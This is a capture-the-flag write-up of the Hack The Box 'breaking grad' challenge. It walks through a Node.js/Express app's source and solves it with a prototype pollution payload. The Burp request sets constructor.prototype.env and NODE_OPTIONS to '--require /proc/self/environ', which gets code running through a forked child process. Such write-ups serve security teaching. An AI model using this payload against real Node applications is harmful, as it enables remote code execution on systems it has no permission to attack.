

# HackTheBox - breaking grad:

At the beginning of this challenge we have 2 things :

- 1) Source code
- 2) Instance

Lets us play a little with the website :

We can see that no matter which student i shall pick up the response will always be the same :

## Let's review the source code :

We can definitely see that this is a Node.js app based on express .

index.js - we can see that if i add a value that is bigger than 10, and pick a student that is not “dumb” i shall pass , let's try this. (Using Burp)

```
router.post('/api/calculate', (req, res) => {
  let student = ObjectHelper.clone(req.body);

  if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
    return res.send({
      'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
    });
  }

  return res.send({
    'pass': 'Passed'
  });
});
```

The screenshot displays the Burp Suite interface with a 'Request' tab on the left and a 'Response' tab on the right. The 'Request' tab shows a POST request to '/api/calculate' with a JSON body containing 'name': 'test' and 'paper': '100'. The 'Response' tab shows an HTTP 200 OK response with a JSON body containing 'pass': 'Passed'.

**Request**

1 POST /api/calculate HTTP/1.1  
2 Host: 206.189.118.190:32443  
3 Content-Length: 25  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome  
5 Content-Type: application/json  
6 Accept: \*/\*  
7 Origin: http://206.189.118.190:32443/  
8 Referer: http://206.189.118.190:32443/  
9 Accept-Encoding: gzip, deflate  
10 Accept-Language: en-US,en;q=0.9  
11 Connection: close  
12  
13 {  
14 "name": "test",  
15 "paper": "100"  
16 }

**Response**

1 HTTP/1.1 200 OK  
2 X-Powered-By: Express  
3 Content-Type: application/json; charset=utf-8  
4 Content-Length: 17  
5 ETag: W/"11-DUZhYKTdyh/0uxIUSDQUUvnhK40"  
6 Date: Sun, 10 Jan 2021 19:12:00 GMT  
7 Connection: close  
8  
9 {  
10 "pass": "Passed"  
11 }

**Yes we passed! still no flag though - Let's review some more :**

## **DebugHelper.js**

```
const { execSync, fork } = require('child_process');

module.exports = {
  execute(res, command) {
    res.type('txt');

    if (command === 'version') {
      let proc = fork('VersionCheck.js', [], {
        stdio: ['ignore', 'pipe', 'pipe', 'ipc']
      });

      proc.stderr.pipe(res);
      proc.stdout.pipe(res);

      return;
    }

    if (command === 'ram') {
      return res.send(execSync('free -m').toString());
    }

    return res.send('invalid command');
  }
}
```

**From looking at this code we can see a well known Vulnerability “prototype pollution attack” - Let's use it!!**

Request	Response
<pre>1 POST /api/calculate HTTP/1.1 2 Host: 206.189.118.150:32442 3 Content-Length: 166 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 5 Content-Type: application/json 6 Accept: */* 7 Origin: http://206.189.118.150:32442 8 Referer: http://206.189.118.150:32442/ 9 Accept-Encoding: gzip, deflate 10 Accept-Language: en-US,en;q=0.9 11 Connection: close 12 { 13   "name": "test", 14   "paper": "100", 15   "constructor": { 16     "prototype": { 17       "env": { 18         "AAAA": "console.log(1);//" 19       }, 20       "NODE_OPTIONS": "--require /proc/self/environ" 21     } 22   } 23 }</pre>	<pre>1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 17 5 ETag: W/"11-DH2hyETdyh/6uxIU5DQUHvnhK48" 6 Date: Sun, 10 Jan 2021 15:25:20 GMT 7 Connection: close 8 { 9   "pass": "Passed" 10 }</pre>

We were able to run a command of our own! Now let's take the flag !
